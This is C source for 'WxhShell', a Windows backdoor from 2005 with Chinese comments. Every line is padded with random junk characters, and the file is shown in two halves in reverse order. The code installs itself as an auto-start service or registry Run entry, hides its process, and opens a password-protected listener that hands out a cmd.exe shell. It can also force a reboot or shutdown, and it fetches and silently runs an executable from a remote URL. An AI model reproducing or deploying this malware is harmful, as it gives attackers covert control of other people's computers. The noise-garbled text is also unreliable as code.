    if(Boot(SHUTDOWN)) :R-_EY$k6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %/4_|.8u  
    else { ]vflx^<?  
    closesocket(wsh); qs%UJ0tR  
    ExitThread(0); Yyr qO^9m  
    } >T#" Im-  
    break; !X[P)/?b0+  
    } ,Y4>$:#n/  
  // 获取shell &7 K=  
  case 's': { Vb8Qh601  
    CmdShell(wsh); &z]x\4#,  
    closesocket(wsh); H%bc.c  
    ExitThread(0); oj(st{,  
    break; ;u-[%(00S  
  } 2<T/N  
  // 退出 LPeVr^  
  case 'x': { -N'wKT5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F%:74.]Y  
    CloseIt(wsh); l*$~Y0  
    break; #`ZBA>FLaQ  
    } AxfQ{>)0  
  // 离开 b/w5K2  
  case 'q': { zIA)se Js  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L)n_  Q  
    closesocket(wsh); | .gE9'"bv  
    WSACleanup(); ``-pjD(t  
    exit(1); 0j!xv(1  
    break; A"O\u=!  
        } K))P 2ss  
  } mKqXB\<  
  } ^;9<7 h[l  
%L|xmx!c  
  // 提示信息 6)PnzeYW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vqAEF^HYry  
} ;X N Ahg7  
  } rb*0YCi  
wmA TV/  
  return; jLA)Y [h  
} y=aWSb2y'  
e*y l_iW  
// shell模块句柄 FHSFH>  
int CmdShell(SOCKET sock) t2iQ[`/?~  
{ ~"\WV4}`v  
STARTUPINFO si; lNsdbyV'  
ZeroMemory(&si,sizeof(si)); Qr_0 L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e"%uOuIYX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oj[~H}>  
PROCESS_INFORMATION ProcessInfo; kL F~^/  
char cmdline[]="cmd"; lbX YWZ~7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lq62  
  return 0; 1cc~UQ  
} id9XwWV  
>,QCKZH  
// 自身启动模式 }H<Z`3_U%  
int StartFromService(void) %^d<go^  
{ E4'z  
typedef struct (< >Lfn  
{ jz~#K;3=,  
  DWORD ExitStatus; Zd'Yu{<_2N  
  DWORD PebBaseAddress; /:^nG+  
  DWORD AffinityMask; O+|ipw*B%  
  DWORD BasePriority; V!(7=ku!`  
  ULONG UniqueProcessId; 73B[|J*  
  ULONG InheritedFromUniqueProcessId; }d>Xh8:%)  
}   PROCESS_BASIC_INFORMATION; D@O5Gd  
lcLDCt ?  
PROCNTQSIP NtQueryInformationProcess; L/E7xLz  
t Davp:M1v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3:G$Y: #P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,6X__Z#rGT  
NJSbS<O  
  HANDLE             hProcess; o:&8H>(hn]  
  PROCESS_BASIC_INFORMATION pbi; xkRS?Q g  
+p`BoF9~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pN)x,<M)  
  if(NULL == hInst ) return 0; <CB%e!~.9  
&Nh zEl1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k ~Q 5Cs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '7}2}KD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q7r b3d  
Td|u-9OM  
  if (!NtQueryInformationProcess) return 0; Cn{v\Q~.4  
?PS?_+E\L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8AuE:=?,,  
  if(!hProcess) return 0; ]R>NmjAI  
m+(g.mvK>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .vctuy&  
:nR80]  
  CloseHandle(hProcess); +$#<gp"  
5|~nX8>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &ds+9A  
if(hProcess==NULL) return 0; xMNQT.A  
zc=G4F01  
HMODULE hMod; 4F9!3[}qF  
char procName[255]; OF={k[  
unsigned long cbNeeded; +ue1+#  
9l "=]7~%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X(eW+,H  
/V{UTMSz  
  CloseHandle(hProcess); :*&c'  
]{# =WTp]  
if(strstr(procName,"services")) return 1; // 以服务启动 }:{9!RMO  
$'>JG9M  
  return 0; // 注册表启动 pDYJLh-C  
} TE$6=;  
|&{S ~^$  
// 主模块 r180vbN$  
int StartWxhshell(LPSTR lpCmdLine) = c Z24I  
{ ~-6_-Y|  
  SOCKET wsl; #) :.1Z?  
BOOL val=TRUE; m7y[Y  
  int port=0; W90!*1  
  struct sockaddr_in door; M;Pry 3J  
@XolFOL"f"  
  if(wscfg.ws_autoins) Install(); =f y|Dm74  
5 ,-8oEUL  
port=atoi(lpCmdLine); ~G@YA8}  
^~-YS-.J#,  
if(port<=0) port=wscfg.ws_port; d,^ZH  
RZV6;=/  
  WSADATA data; *E/ Mf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~WTkX(\  
8ta @@h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C0/^6Lu"o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {icTfPR4E  
  door.sin_family = AF_INET; ("t'XKP&N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,>rvl P  
  door.sin_port = htons(port); {R-o8N  
X*@ tp,t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `j@1]%&z  
closesocket(wsl); 6 h#U,G  
return 1; po*8WSl9c[  
} 6];3h>c]N  
eGq7+  
  if(listen(wsl,2) == INVALID_SOCKET) { 6QY;t:/<  
closesocket(wsl); P9'` 2c   
return 1; K&%CeUa  
} ~qeFSU(  
  Wxhshell(wsl); tF} ^  
  WSACleanup(); ,G%UU~/a  
=xIZJ8e  
return 0; z/xPI)R[  
p>+9pxx~U  
} PjEJ C@n  
Y2QX<  
// 以NT服务方式启动 zaHZ5%{LQD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7$lnCvm  
{ clV^Xg8D  
DWORD   status = 0; g?v(>#i  
  DWORD   specificError = 0xfffffff; >":xnX#  
X2Z)> 10  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CUI+@|]%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wxo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2=Naq Ht(  
  serviceStatus.dwWin32ExitCode     = 0; ) yMrE T m  
  serviceStatus.dwServiceSpecificExitCode = 0; iO5g30l  
  serviceStatus.dwCheckPoint       = 0; aim\ 3y~  
  serviceStatus.dwWaitHint       = 0; 8]&:'  
T8z?_ *k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Cu[x'J  
  if (hServiceStatusHandle==0) return; WM ?a1j  
Cn3 _D  
status = GetLastError();  SW#/;|m  
  if (status!=NO_ERROR) f; |fS~  
{ zZCRej  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xt5/`C  
    serviceStatus.dwCheckPoint       = 0; `T[@-   
    serviceStatus.dwWaitHint       = 0; R\3a Sx L  
    serviceStatus.dwWin32ExitCode     = status; D;V[9E=g/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6EyPZ{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZK^cG'^2|  
    return; &}k7iaO  
  } H/*ol^X7  
q%d G>!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;   < v]  
  serviceStatus.dwCheckPoint       = 0; p 4> ThpX  
  serviceStatus.dwWaitHint       = 0; 70c]|5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zk8 )!Af  
} {s0%XG1$  
Y\-xX:n.\  
// 处理NT服务事件,比如:启动、停止 UrvUt$WO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dz9U.:C  
{ 0wv#AT  
switch(fdwControl) 1}DA| !~  
{ m g'q-G`\<  
case SERVICE_CONTROL_STOP: c("|xe  
  serviceStatus.dwWin32ExitCode = 0; oM~y8O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jn V=giBu  
  serviceStatus.dwCheckPoint   = 0; w7U]-MW6A*  
  serviceStatus.dwWaitHint     = 0; b/z-W`gw  
  { ja_8n["z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]WDmx$"&e  
  } ^b+>r  
  return; RtMI[  
case SERVICE_CONTROL_PAUSE: v<!S_7h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kKSGC?d  
  break; xGwImF$r  
case SERVICE_CONTROL_CONTINUE: BUBx}dbCM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eTS}-  
  break; $5&%X'jk  
case SERVICE_CONTROL_INTERROGATE: {\l  
  break; \tI%[g1M  
}; sg $db62>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yv[j Pbe  
} }UW7py!TN  
luf5-XT  
// 标准应用程序主函数 g^]Iw~T6$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XX~vg>3_  
{ )Fv.eIBY  
 l!|c_  
// 获取操作系统版本 J2W-l{`r<  
OsIsNt=GetOsVer(); ~:z.Xu5m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /e'3\,2_  
LW]fme<V?  
  // 从命令行安装 =*,SD  
  if(strpbrk(lpCmdLine,"iI")) Install(); K?^;|m-  
'K,\  
  // 下载执行文件 dM-cQo:  
if(wscfg.ws_downexe) { 1(?4*v@B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .zO2g8(VR  
  WinExec(wscfg.ws_filenam,SW_HIDE); c1'@_Is  
} X,|8Wpi=  
8 c8`"i  
if(!OsIsNt) { N6y9'LGG`  
// 如果时win9x,隐藏进程并且设置为注册表启动 |RiJ>/ MK\  
HideProc(); !2LX+*;  
StartWxhshell(lpCmdLine); K&|h%4O  
} 15g! Q *v  
else ,&t+D-s<f  
  if(StartFromService()) !!1?2ine  
  // 以服务方式启动 dE7x  SI  
  StartServiceCtrlDispatcher(DispatchTable); IK2da@V  
else 2a$. S " ?  
  // 普通方式启动 g<:Lcg"u  
  StartWxhshell(lpCmdLine); JY0aE  
r[L%ap\{  
return 0; ")|/\ w,  
} \HeJc:^  
h&<"jCjL  
&bsq;)wzs  
+lym8n~-O  
=========================================== +vh|m5"7I7  
NfgXOLthM  
;>J!$B?,  
T+0=Ou"N  
ob.<j  
&uNec( c  
" _ .vG)  
} !m43x/&  
#include <stdio.h> o^"+X7)  
#include <string.h> <&5z0rDKWw  
#include <windows.h> pp"X0  
#include <winsock2.h> }@r23g%   
#include <winsvc.h> DB'0  
#include <urlmon.h> E`IXBI  
Vm[Rp, "  
#pragma comment (lib, "Ws2_32.lib") cbzA`b'Mg  
#pragma comment (lib, "urlmon.lib") N"S`9B1eD(  
pi"H?EHk  
#define MAX_USER   100 // 最大客户端连接数 ,-pE/3|(  
#define BUF_SOCK   200 // sock buffer uBm"Xkxe|w  
#define KEY_BUFF   255 // 输入 buffer f@OH~4FG  
o7) y~ ke  
#define REBOOT     0   // 重启 BPY7O  
#define SHUTDOWN   1   // 关机 D#g -mqar:  
E'QAsU8pP  
#define DEF_PORT   5000 // 监听端口 -+".ut:R  
I\@r ~]+y  
#define REG_LEN     16   // 注册表键长度 8?yIixhw  
#define SVC_LEN     80   // NT服务名长度 .hT>a<  
h[ .  
// 从dll定义API yZleots1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e=sc$1|4=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mxv ?PP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }je<^]a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .p#kW:zspA  
]*2),H1 c  
// wxhshell配置信息 c#OxI*,+/  
struct WSCFG { ? x%s j  
  int ws_port;         // 监听端口 b;i*}4h!  
  char ws_passstr[REG_LEN]; // 口令 h3MdQlJ&  
  int ws_autoins;       // 安装标记, 1=yes 0=no :@L7RZ`_  
  char ws_regname[REG_LEN]; // 注册表键名 72<9xNcB!}  
  char ws_svcname[REG_LEN]; // 服务名 x5lVb$!G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fy=GU<&AI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EmNVQ1w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Za|7gt];l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q*hn5K*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m06'T2I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VI! \+A  
V._-iw]v  
}; 9 [eiN  
$@AJg  
// default Wxhshell configuration yzS]FwW7  
struct WSCFG wscfg={DEF_PORT, -X.#Y6(  
    "xuhuanlingzhe", ~;"eNg{ T  
    1, (}A$4?  
    "Wxhshell", ,1]UOQ>AP  
    "Wxhshell", '}OdF*L  
            "WxhShell Service", X5)D[aE6  
    "Wrsky Windows CmdShell Service", #7uH>\r  
    "Please Input Your Password: ", +25}X{r$_  
  1, #VQZ"7nI@  
  "http://www.wrsky.com/wxhshell.exe", VfnL-bDGV  
  "Wxhshell.exe" 1c$pz:$vX  
    }; $fb%?n{  
jFSR+mP!  
// 消息定义模块 ]cRvdUGv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zEQ]5>mG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?^&ih:"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ac_P^  
char *msg_ws_ext="\n\rExit."; -laH^<jm5  
char *msg_ws_end="\n\rQuit."; HhbBt'fH  
char *msg_ws_boot="\n\rReboot..."; $(1t~u<17  
char *msg_ws_poff="\n\rShutdown..."; {v"f){   
char *msg_ws_down="\n\rSave to "; :5kDc" =Z|  
!?,, ZD  
char *msg_ws_err="\n\rErr!"; 7K"3[.  
char *msg_ws_ok="\n\rOK!"; z teu{0  
]3,'U(!+  
char ExeFile[MAX_PATH]; <J8c dB!e  
int nUser = 0; ?eJ'$  
HANDLE handles[MAX_USER]; *bK=<{d1P  
int OsIsNt; Y>$5j}K  
*l7 `C)  
SERVICE_STATUS       serviceStatus; X@~/.H5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pMU\f  
KXWcg#zFY  
// 函数声明 [}L?EM  
int Install(void); 0:{W t  
int Uninstall(void); Bc=(1ty)  
int DownloadFile(char *sURL, SOCKET wsh); M+t)#O4  
int Boot(int flag); Zg+.`>z  
void HideProc(void); igu1s}F  
int GetOsVer(void); l$u52e!7  
int Wxhshell(SOCKET wsl); '/GB8L  
void TalkWithClient(void *cs); tQ }GTqk  
int CmdShell(SOCKET sock); g ~<[;6&{  
int StartFromService(void); 1d<?K7%^  
int StartWxhshell(LPSTR lpCmdLine); 2a@X-Di  
o[;P@F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r\m{;Z#LJm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,2AulX 1  
~ <1s[Hu  
// 数据结构和表定义 'iMzp]V;  
SERVICE_TABLE_ENTRY DispatchTable[] = P2'c{],3V  
{ L=(-BYS  
{wscfg.ws_svcname, NTServiceMain}, MR "f)  
{NULL, NULL} l0&Fm:))k  
}; /)K')  
O_ #++G  
// 自我安装 RFw0u 0Nrz  
int Install(void) 0A} X hX  
{ veDv14  
  char svExeFile[MAX_PATH]; zlLZ8b+  
  HKEY key; 3Ei^WDJ  
  strcpy(svExeFile,ExeFile); W[jg+|  
0\i\G|5  
// 如果是win9x系统,修改注册表设为自启动 Gs#9'3_U5  
if(!OsIsNt) { &>-'|(m+2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u^Cl s!C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tM LiG4 |7  
  RegCloseKey(key); g9C-!X-<T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - ~z@W3\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T4x%3-4 ;  
  RegCloseKey(key); .XgY&5Qk  
  return 0; wPU5L*/*i  
    } Y6wr}U  
  } $mxG-'x%K  
} :{<|,3oNdR  
else { Q & /5B  
c@>ztQU*  
// 如果是NT以上系统,安装为系统服务 LR&MhG7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i, ^-9  
if (schSCManager!=0) lLQcyi0  
{ tDETRjTA  
  SC_HANDLE schService = CreateService &pK0>2  
  ( &zYQ H@  
  schSCManager, oDS7do  
  wscfg.ws_svcname, k3&68+  
  wscfg.ws_svcdisp, A8ViJ  
  SERVICE_ALL_ACCESS,  +At [[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *6JA&zj0B  
  SERVICE_AUTO_START, 3MX#}_7A  
  SERVICE_ERROR_NORMAL, Z +/3rd  
  svExeFile, c RI2$|  
  NULL, 4+8)0;<H  
  NULL, o2|#_tGNUy  
  NULL, nZiwR4kM  
  NULL, e=XP4h  
  NULL ~v&Q\>'  
  ); B\D)21Ik}%  
  if (schService!=0) XK~HfA?  
  { USART}Us4  
  CloseServiceHandle(schService); jR\pYRK  
  CloseServiceHandle(schSCManager); ,'C*?mms  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [vI ;A !  
  strcat(svExeFile,wscfg.ws_svcname); 9@qkj 4w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p` ~=v4;b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *X3wf`C?  
  RegCloseKey(key); 7OLHYt9  
  return 0; AclK9+V  
    } 5_A*I C]  
  } N/>:})dav  
  CloseServiceHandle(schSCManager); ~ !ei]UP  
} "wH(t k4  
} x7B;\D#`i/  
"} :CM_  
return 1; WBKf)A^S  
} S9DXd]6q_  
^coCsV^CW"  
// 自我卸载 7 cV G?Wr  
int Uninstall(void) /nv*OKS|  
{ )Q9Qo)D T  
  HKEY key; [ 1G wcXr  
L'Iw9RAJ  
if(!OsIsNt) { kjQW9QJ<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1N65 M=)  
  RegDeleteValue(key,wscfg.ws_regname); ~%lUzabMa  
  RegCloseKey(key); fAkfN H6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U=%(kOx  
  RegDeleteValue(key,wscfg.ws_regname); :~vg'v~C  
  RegCloseKey(key); {KDN|o+%  
  return 0; ;t>4VA  
  } =LY`K#  
} 9PV]bt,  
} C-ORI}o  
else { dU_;2d$  
{oOUIP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $+2QbEk&-  
if (schSCManager!=0) >/RFff]Fh0  
{ E el*P M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M8:i]   
  if (schService!=0) D,*|:i  
  { [$K8y&\L  
  if(DeleteService(schService)!=0) { zT}vaU 6  
  CloseServiceHandle(schService); y k!K 5  
  CloseServiceHandle(schSCManager); iN[6}V6Sm  
  return 0; J e|   
  } 3ouy-SQ  
  CloseServiceHandle(schService); k)z>9z%D  
  } ;jx[  +  
  CloseServiceHandle(schSCManager); ^?]-Q*w3Qs  
} ?=)lbSu K  
} Y8%l)g  
$XcH.z  
return 1; AJ}m2EH  
} B T}l"  
iM7 ^  
// 从指定url下载文件 o%-KO? YW  
int DownloadFile(char *sURL, SOCKET wsh) S;t`C~l\  
{ Y>C0 5?>  
  HRESULT hr; 9%21Q>Y?b  
char seps[]= "/"; g :B4zlKG  
char *token; )^P54_2  
char *file; 2oc18#iG (  
char myURL[MAX_PATH]; jLn#%Ia}  
char myFILE[MAX_PATH]; |<3x`l-`  
k$5l kP.  
strcpy(myURL,sURL); Q)XH5C2X  
  token=strtok(myURL,seps); Hr=|xw8.  
  while(token!=NULL) k:V9_EI=  
  { hl0X, G+@  
    file=token; mw^>dv?  
  token=strtok(NULL,seps); uDJ;GD[yc  
  } z.(DDj  
lq.]@zlSO  
GetCurrentDirectory(MAX_PATH,myFILE); k(7Q\JKE  
strcat(myFILE, "\\"); H_XspiB@  
strcat(myFILE, file); *MlEfmB(  
  send(wsh,myFILE,strlen(myFILE),0); PepR ]ym  
send(wsh,"...",3,0); g/68& M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gREk,4DAv  
  if(hr==S_OK) s5G`?/  
return 0; }^Sk.:;n3  
else MBjAe!,-  
return 1; K:XP;#OsP  
E_'H=QN c  
} 7jxx,#I:  
yMyvX_UNI  
// 系统电源模块 8kcMgCO  
int Boot(int flag) yaG:}=.3  
{ ,?jc0L.'r]  
  HANDLE hToken; wjH1Ombt  
  TOKEN_PRIVILEGES tkp; +-),E.  
Odw'Ua  
  if(OsIsNt) { Wj!+ E{y<r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *pD|N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $8(QBZq  
    tkp.PrivilegeCount = 1; a_0I)' ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w2s06`g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x8C\&ivn  
if(flag==REBOOT) { 0#=xUk#LP`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dg~lz80  
  return 0; WC=d @d)M  
} Vh;|qF 9  
else { vm;%713#1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `YwJ.E  
  return 0; yEjiMtQll]  
} \p.yR.  
  } >l%8d'=Jl  
  else { w-R.)  
if(flag==REBOOT) { zjow %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ->?tB1}^  
  return 0; w oIZFus  
} ?%~^PHgZ|  
else { L#'XN H"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gt?l 2s  
  return 0; 32HF&P+0%  
} .`_iWfK  
} i5Sya]FN  
8!.V`|@lt  
return 1; |By[ev"Kh%  
} %,~\,+NP  
$mAC8a_Zu  
// win9x进程隐藏模块 5oCg&aT  
void HideProc(void) ~4=*kJ#7  
{ RR:%"4M  
mj9sX^$ dE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XC;Icr)  
  if ( hKernel != NULL ) gjz-CY.hz  
  { _()1 "5{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g-UCvY I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?ZGsh7<k  
    FreeLibrary(hKernel); U$OI]Dd9  
  }  7 FY2a  
K^@9\cl^  
return; a:l-cZ/!  
} vR!g1gI23  
Wq+GlB*  
// 获取操作系统版本 0,m]W)  
int GetOsVer(void) "@hd\w{.  
{ #\=7A  
  OSVERSIONINFO winfo; _A!Fp0}`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "9c=kqkX  
  GetVersionEx(&winfo); b+:J?MR;}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .QKyB>s  
  return 1; w< Xwz`O  
  else JttDRNZAU  
  return 0; ZQfPDH=  
} y9d"sqyh  
`#l3a  
// 客户端句柄模块 (57!{[J  
int Wxhshell(SOCKET wsl) o<3$|`S&  
{ $Z;/Sh  
  SOCKET wsh; pw4^E|X  
  struct sockaddr_in client; MIr+4L  
  DWORD myID; M.s'~S7y  
1d FuoX  
  while(nUser<MAX_USER) 8 I_  
{ "|1iz2L  
  int nSize=sizeof(client); 7M7Ir\d0lp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IKP GqoM  
  if(wsh==INVALID_SOCKET) return 1; S:}"gwFM  
&*7KQd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $57b.+2n  
if(handles[nUser]==0) p$|7T31 *  
  closesocket(wsh); eZU9L/w:  
else -j]k^  
  nUser++; jMTM:~0N  
  } /N_:npbJF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7`A]X,:  
o.fqJfpj  
  return 0; m Rw0R{  
} ~I+MuI[  
s^eiym P  
// 关闭 socket =(7nl#o  
void CloseIt(SOCKET wsh) njX$?V   
{ r)}U 'iv*%  
closesocket(wsh); T#3@r0M  
nUser--; 0&]1s  
ExitThread(0); : (X3?%  
} "EMW'>&m  
T{3nIF  
// 客户端请求句柄 r*l3Hrho~K  
void TalkWithClient(void *cs) ^c.D&y%5  
{ PgK7CG7G  
y-bUVw!Y  
  SOCKET wsh=(SOCKET)cs; ?hkOL$v<9}  
  char pwd[SVC_LEN]; n8F5z|/  
  char cmd[KEY_BUFF]; y{hy7w'd  
char chr[1]; rfEWh Vy(}  
int i,j; f!#!  
%Rn*oV  
  while (nUser < MAX_USER) { S=mqxIo@m  
lh"*$.j-  
if(wscfg.ws_passstr) { c'eZ-\d{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6u+aP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (XVBH 1p"  
  //ZeroMemory(pwd,KEY_BUFF); ^ U mYW  
      i=0; '{jr9Vh  
  while(i<SVC_LEN) { f2;.He  
_i+@HXR &  
  // 设置超时 8;DDCop 8L  
  fd_set FdRead; MHK|\Z&e7  
  struct timeval TimeOut; y')OmR2h  
  FD_ZERO(&FdRead); \|S!g_30m  
  FD_SET(wsh,&FdRead); _/I">/ivlM  
  TimeOut.tv_sec=8; PT6]qS'1  
  TimeOut.tv_usec=0; {k) gDJU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \\FT.e6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .N qXdari  
jhm??Af  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m<-ShRr*b  
  pwd=chr[0]; (\{k-2t*^  
  if(chr[0]==0xd || chr[0]==0xa) { /qX?ca1_4^  
  pwd=0; 'V]&X.=zC  
  break; "GK9Y  
  } ?F AI@4  
  i++; RTm/-6[N  
    } +1y$#~dl  
Q# B0JT1  
  // 如果是非法用户,关闭 socket $QC1l@[sM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Y^'$I2fR#  
} T^1 Z_|A  
l&qnqmW<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cQK-Euum  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _VK I@   
*i]?J  
while(1) { (jc& Fk  
IA@>'O  
  ZeroMemory(cmd,KEY_BUFF); (h3L=  
aaR& -M@  
      // 自动支持客户端 telnet标准   ;XurH%Mg  
  j=0; 4a-JC"  
  while(j<KEY_BUFF) { =n5'~1?X?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nMyl( kF[  
  cmd[j]=chr[0]; #0P_\X`E   
  if(chr[0]==0xa || chr[0]==0xd) { H;1@]|sH#  
  cmd[j]=0; P0n1I7|  
  break; "0An'7'm  
  } VLez<Id9(  
  j++; !#c'| *k  
    } by/H:5}7  
}4A] x`3  
  // 下载文件 qSc-V`*  
  if(strstr(cmd,"http://")) { vQljxRtW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 $e6H|j@  
  if(DownloadFile(cmd,wsh)) B{nwQC b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw]%: WeH  
  else ;miif  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\N*)&Sd<M  
  } W,<q!<z\t  
  else { zw>L0gC  
)XN_|zCk  
    switch(cmd[0]) { 4E39]vb  
  :R Iz6Tz  
  // 帮助 QrYF Lh  
  case '?': { <q'l7 S  
